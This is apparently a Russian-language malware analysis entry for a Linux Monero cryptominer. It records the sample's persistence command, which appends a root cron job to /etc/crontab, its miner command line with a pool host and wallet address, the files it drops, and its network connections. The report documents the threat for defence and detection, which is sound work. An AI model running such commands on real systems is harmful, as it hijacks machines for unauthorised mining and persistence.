Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /etc/crontab
Вредоносные функции:
Запускает себя в качестве демона
Запускает процессы:
- /bin/bash -c echo '0 */12 * * * * root <SAMPLE_FULL_PATH>' >> /etc/crontab
- /bin/bash -c ./xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.ip28.net:443 -u 45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT -p x -k
- ./xxsdwak<SAMPLE> -B -o stratum+tcp://xmr.ip28.net:443 -u 45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT -p x -k
Выполняет операции с файловой системой:
Создает или модифицирует файлы:
- /root/xxszznk
- /root/xxsdwak<SAMPLE>
- /root/.cnrig.cacert.pem
Сетевая активность:
Устанавливает соединение:
- 16#.##2.205.136:443
- 15#.##1.84.133:443
DNS ASK:
- xm#.#p28.net
- ra#.####ubusercontent.com
Посылает данные следующим серверам:
- 16#.##2.205.136:443
- 15#.##1.84.133:443
Получает данные от следующих серверов:
- 16#.##2.205.136:443
- 15#.##1.84.133:443
Прочее:
Собирает информацию об оперативной памяти
